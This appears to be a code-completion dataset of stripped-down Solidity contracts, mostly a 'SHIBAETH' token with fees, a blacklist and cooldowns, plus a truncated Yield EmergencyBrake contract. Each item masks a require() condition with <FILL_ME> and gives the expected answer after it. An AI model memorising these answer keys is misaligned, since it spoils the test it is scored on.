) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 ETH = IBEP20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
//SETMEUP, change this to 1 hour instead of 10mins
uint256 public minPeriod = 30 minutes;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
}
modifier onlyToken() {
}
constructor (address _router) {
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
}
function deposit() external payable override onlyToken {
}
function process(uint256 gas) external override onlyToken {
}
function shouldDistribute(address shareholder) internal view returns (bool) {
}
function distributeDividend(address shareholder) internal {
}
function claimDividend() external {
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
}
function addShareholder(address shareholder) internal {
}
function removeShareholder(address shareholder) internal {
}
}
contract SHIBAETH is IBEP20, Ownable {
using SafeMath for uint256;
address ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "shibaeth";
string constant _symbol = "seth";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1 * 10**12 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply;
//max wallet holding
uint256 public _maxWalletToken = _totalSupply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public _blackList;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isDividendExempt;
uint256 public _feeDecimal = 0;
// fee
uint256 liquidityFee = 1;
uint256 reflectionFee = 5;
uint256 marketingFee = 4;
uint256 public totalFee = 10;
uint256 feeDenominator = 100;
// Fees
uint256 internal _rewardFeeCollected;
uint256 internal _liqFeeCollected;
uint256 internal _marketingFeeCollected;
address public autoDeadWallet;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
DividendDistributor distributor;
uint256 distributorGas = 500000;
// Cooldown & timer functionality
bool public buyCooldownEnabled = true;
uint8 public cooldownTimerInterval = 35;
mapping (address => uint) private cooldownTimer;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 10 / 100000000; // 0.01% of supply
bool inSwap;
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
modifier swapping() { }
constructor () {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(<FILL_ME>)
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
// max wallet code
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoDeadWallet){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
// cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades.
if (sender == pair &&
buyCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
// Checks max transaction limit
checkTxLimit(sender, amount);
// Liquidity, Maintained at 25%
if(shouldSwapBack()){ swapBack(); }
uint256 amountReceived;
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
// Dividend tracker
if(!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try distributor.setShare(recipient, _balances[recipient]) {} catch {}
}
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
// enable cooldown between trades
function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
}
function swapBack() internal swapping {
}
function setTxLimit(uint256 amount) external onlyOwner {
}
//settting the maximum permitted wallet holding (percent of total supply)
function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner {
}
function setIsDividendExempt(address holder, bool exempt) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTimelockExempt(address holder, bool exempt) external onlyOwner {
}
function setFees(uint256 _liquidityFee,
uint256 _reflectionFee,
uint256 _marketingFee
) external onlyOwner {
}
function setFeeReceivers(address _autoDeadWallet, address _marketingFeeReceiver) external onlyOwner {
}
function setSwapBackSettings( uint256 _amount) external onlyOwner {
}
function setSwapEnabled(bool _enable) external onlyOwner {
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external onlyOwner {
}
function setDistributorSettings(uint256 gas) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function setBlackList (address add,bool value) external onlyOwner {
}
receive() external payable {
}
}
| !_blackList[sender],"Address is blackListed" | 64,906 | !_blackList[sender] |
"Total Holding is currently limited, you can not buy that much." | //SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
/**
* Allows for contract ownership along with multi-address authorization
*/
contract Ownable is Context {
address private _owner;
mapping (address => bool) internal authorizations;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
function setAuthorize(address adr,bool val) public onlyOwner {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 ETH = IBEP20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
//SETMEUP, change this to 1 hour instead of 10mins
uint256 public minPeriod = 30 minutes;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
}
modifier onlyToken() {
}
constructor (address _router) {
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
}
function deposit() external payable override onlyToken {
}
function process(uint256 gas) external override onlyToken {
}
function shouldDistribute(address shareholder) internal view returns (bool) {
}
function distributeDividend(address shareholder) internal {
}
function claimDividend() external {
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
}
function addShareholder(address shareholder) internal {
}
function removeShareholder(address shareholder) internal {
}
}
contract SHIBAETH is IBEP20, Ownable {
using SafeMath for uint256;
address ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "shibaeth";
string constant _symbol = "seth";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1 * 10**12 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply;
//max wallet holding
uint256 public _maxWalletToken = _totalSupply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public _blackList;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isDividendExempt;
uint256 public _feeDecimal = 0;
// fee
uint256 liquidityFee = 1;
uint256 reflectionFee = 5;
uint256 marketingFee = 4;
uint256 public totalFee = 10;
uint256 feeDenominator = 100;
// Fees
uint256 internal _rewardFeeCollected;
uint256 internal _liqFeeCollected;
uint256 internal _marketingFeeCollected;
address public autoDeadWallet;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
DividendDistributor distributor;
uint256 distributorGas = 500000;
// Cooldown & timer functionality
bool public buyCooldownEnabled = true;
uint8 public cooldownTimerInterval = 35;
mapping (address => uint) private cooldownTimer;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 10 / 100000000; // 0.01% of supply
bool inSwap;
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
modifier swapping() { }
constructor () {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!_blackList[sender],"Address is blackListed");
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
// max wallet code
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoDeadWallet){
uint256 heldTokens = balanceOf(recipient);
require(<FILL_ME>)}
// cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades.
if (sender == pair &&
buyCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
// Checks max transaction limit
checkTxLimit(sender, amount);
// Liquidity, Maintained at 25%
if(shouldSwapBack()){ swapBack(); }
uint256 amountReceived;
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
// Dividend tracker
if(!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try distributor.setShare(recipient, _balances[recipient]) {} catch {}
}
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
// enable cooldown between trades
function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
}
function swapBack() internal swapping {
}
function setTxLimit(uint256 amount) external onlyOwner {
}
//settting the maximum permitted wallet holding (percent of total supply)
function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner {
}
function setIsDividendExempt(address holder, bool exempt) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTimelockExempt(address holder, bool exempt) external onlyOwner {
}
function setFees(uint256 _liquidityFee,
uint256 _reflectionFee,
uint256 _marketingFee
) external onlyOwner {
}
function setFeeReceivers(address _autoDeadWallet, address _marketingFeeReceiver) external onlyOwner {
}
function setSwapBackSettings( uint256 _amount) external onlyOwner {
}
function setSwapEnabled(bool _enable) external onlyOwner {
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external onlyOwner {
}
function setDistributorSettings(uint256 gas) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function setBlackList (address add,bool value) external onlyOwner {
}
receive() external payable {
}
}
| (heldTokens+amount)<=_maxWalletToken,"Total Holding is currently limited, you can not buy that much." | 64,906 | (heldTokens+amount)<=_maxWalletToken |
"Please wait for cooldown between buys" | //SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* BEP20 standard interface.
*/
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
/**
* Allows for contract ownership along with multi-address authorization
*/
contract Ownable is Context {
address private _owner;
mapping (address => bool) internal authorizations;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
function setAuthorize(address adr,bool val) public onlyOwner {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 ETH = IBEP20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
//SETMEUP, change this to 1 hour instead of 10mins
uint256 public minPeriod = 30 minutes;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
}
modifier onlyToken() {
}
constructor (address _router) {
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
}
function deposit() external payable override onlyToken {
}
function process(uint256 gas) external override onlyToken {
}
function shouldDistribute(address shareholder) internal view returns (bool) {
}
function distributeDividend(address shareholder) internal {
}
function claimDividend() external {
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
}
function addShareholder(address shareholder) internal {
}
function removeShareholder(address shareholder) internal {
}
}
contract SHIBAETH is IBEP20, Ownable {
using SafeMath for uint256;
address ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "shibaeth";
string constant _symbol = "seth";
uint8 constant _decimals = 18;
uint256 _totalSupply = 1 * 10**12 * (10 ** _decimals);
uint256 public _maxTxAmount = _totalSupply;
//max wallet holding
uint256 public _maxWalletToken = _totalSupply;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) public _blackList;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isDividendExempt;
uint256 public _feeDecimal = 0;
// fee
uint256 liquidityFee = 1;
uint256 reflectionFee = 5;
uint256 marketingFee = 4;
uint256 public totalFee = 10;
uint256 feeDenominator = 100;
// Fees
uint256 internal _rewardFeeCollected;
uint256 internal _liqFeeCollected;
uint256 internal _marketingFeeCollected;
address public autoDeadWallet;
address public marketingFeeReceiver;
IDEXRouter public router;
address public pair;
DividendDistributor distributor;
uint256 distributorGas = 500000;
// Cooldown & timer functionality
bool public buyCooldownEnabled = true;
uint8 public cooldownTimerInterval = 35;
mapping (address => uint) private cooldownTimer;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 10 / 100000000; // 0.01% of supply
bool inSwap;
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
modifier swapping() { }
constructor () {
}
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function approveMax(address spender) external returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!_blackList[sender],"Address is blackListed");
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
// max wallet code
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoDeadWallet){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
// cooldown timer, so a bot doesnt do quick trades! 1min gap between 2 trades.
if (sender == pair &&
buyCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(<FILL_ME>)
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
// Checks max transaction limit
checkTxLimit(sender, amount);
// Liquidity, Maintained at 25%
if(shouldSwapBack()){ swapBack(); }
uint256 amountReceived;
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
// Dividend tracker
if(!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try distributor.setShare(recipient, _balances[recipient]) {} catch {}
}
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function checkTxLimit(address sender, uint256 amount) internal view {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
}
// enable cooldown between trades
function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
}
function swapBack() internal swapping {
}
function setTxLimit(uint256 amount) external onlyOwner {
}
//settting the maximum permitted wallet holding (percent of total supply)
function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner {
}
function setIsDividendExempt(address holder, bool exempt) external onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
}
function setIsTimelockExempt(address holder, bool exempt) external onlyOwner {
}
function setFees(uint256 _liquidityFee,
uint256 _reflectionFee,
uint256 _marketingFee
) external onlyOwner {
}
function setFeeReceivers(address _autoDeadWallet, address _marketingFeeReceiver) external onlyOwner {
}
function setSwapBackSettings( uint256 _amount) external onlyOwner {
}
function setSwapEnabled(bool _enable) external onlyOwner {
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external onlyOwner {
}
function setDistributorSettings(uint256 gas) external onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function setBlackList (address add,bool value) external onlyOwner {
}
receive() external payable {
}
}
| cooldownTimer[recipient]<block.timestamp,"Please wait for cooldown between buys" | 64,906 | cooldownTimer[recipient]<block.timestamp |
"Plan in execution" | // SPDX-License-Identifier: MIT
// Audit: https://hackmd.io/@devtooligan/YieldEmergencyBrakeSecurityReview2022-10-11
pragma solidity ^0.8.0;
import "../access/AccessControl.sol";
import "../interfaces/IEmergencyBrake.sol";
/// @dev EmergencyBrake allows to plan for and execute transactions that remove access permissions for a user
/// contract. In an permissioned environment this can be used for pausing components.
/// All contracts in scope of emergency plans must grant ROOT permissions to EmergencyBrake. To mitigate the risk
/// of governance capture, EmergencyBrake has very limited functionality, being able only to revoke existing roles
/// and to restore previously revoked roles. Thus EmergencyBrake cannot grant permissions that weren't there in the
/// first place. As an additional safeguard, EmergencyBrake cannot revoke or grant ROOT roles.
contract EmergencyBrake is AccessControl, IEmergencyBrake {
event Added(address indexed user, Permission permissionIn);
event Removed(address indexed user, Permission permissionOut);
event Executed(address indexed user);
event Restored(address indexed user);
uint256 public constant NOT_FOUND = type(uint256).max;
mapping (address => Plan) public plans;
constructor(address governor, address planner, address executor) AccessControl() {
}
/// @dev Is a plan executed?
/// @param user address with auth privileges on permission hosts
function executed(address user) external view override returns (bool) {
}
/// @dev Does a plan contain a permission?
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function contains(address user, Permission calldata permission) external view override returns (bool) {
}
/// @dev Return a permission by index
/// @param user address with auth privileges on permission hosts
/// @param idx permission index that is being queried about
function permissionAt(address user, uint idx) external view override returns (Permission memory) {
}
/// @dev Index of a permission in a plan. Returns type(uint256).max if not present.
/// @param user address with auth privileges on permission hosts
/// @param permission permission that is being queried about
function index(address user, Permission calldata permission) external view override returns (uint) {
}
/// @dev Number of permissions in a plan
/// @param user address with auth privileges on permission hosts
function total(address user) external view returns (uint) {
}
/// @dev Add permissions to an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsIn permissions that are being added to an existing plan
function add(address user, Permission[] calldata permissionsIn)
external override auth
{
Plan storage plan_ = plans[user];
require(<FILL_ME>)
uint length = permissionsIn.length;
for (uint i; i < length; ++i) {
Permission memory permissionIn = permissionsIn[i];
require(permissionIn.signature != ROOT, "Can't remove ROOT");
require(
AccessControl(permissionIn.host).hasRole(permissionIn.signature, user),
"Permission not found"
); // You don't want to find out execute reverts when you need it
require(
AccessControl(permissionIn.host).hasRole(ROOT, address(this)),
"Need ROOT on host"
); // You don't want to find out you don't have ROOT while executing
bytes32 idIn = _permissionToId(permissionIn);
require(plan_.permissions[idIn].signature == bytes4(0), "Permission already set");
plan_.permissions[idIn] = permissionIn; // Set the permission
plan_.ids.push(idIn);
emit Added(user, permissionIn);
}
}
/// @dev Remove permissions from an isolation plan
/// @param user address with auth privileges on permission hosts
/// @param permissionsOut permissions that are being removed from an existing plan
function remove(address user, Permission[] calldata permissionsOut)
external override auth
{
}
/// @dev Remove a planned isolation plan
/// @param user address with an isolation plan
function cancel(address user)
external override auth
{
}
/// @dev Remove the restoring option from an isolated user
/// @param user address with an isolation plan
function terminate(address user)
external override auth
{
}
/// @dev Remove all data related to an user
/// @param user address with an isolation plan
function _erase(address user)
internal
{
}
/// @dev Check if a plan is valid for execution
/// @param user address with an isolation plan
function check(address user)
external view override returns (bool)
{
}
/// @dev Execute an access removal transaction
/// @notice The plan needs to be kept up to date with the current permissioning, or it will revert.
/// @param user address with an isolation plan
function execute(address user)
external override auth
{
}
/// @dev Restore the orchestration from an isolated user
function restore(address user)
external override auth
{
}
/// @dev used to calculate the id of a Permission so it can be indexed within a Plan
/// @param permission a permission, containing a host address and a function signature
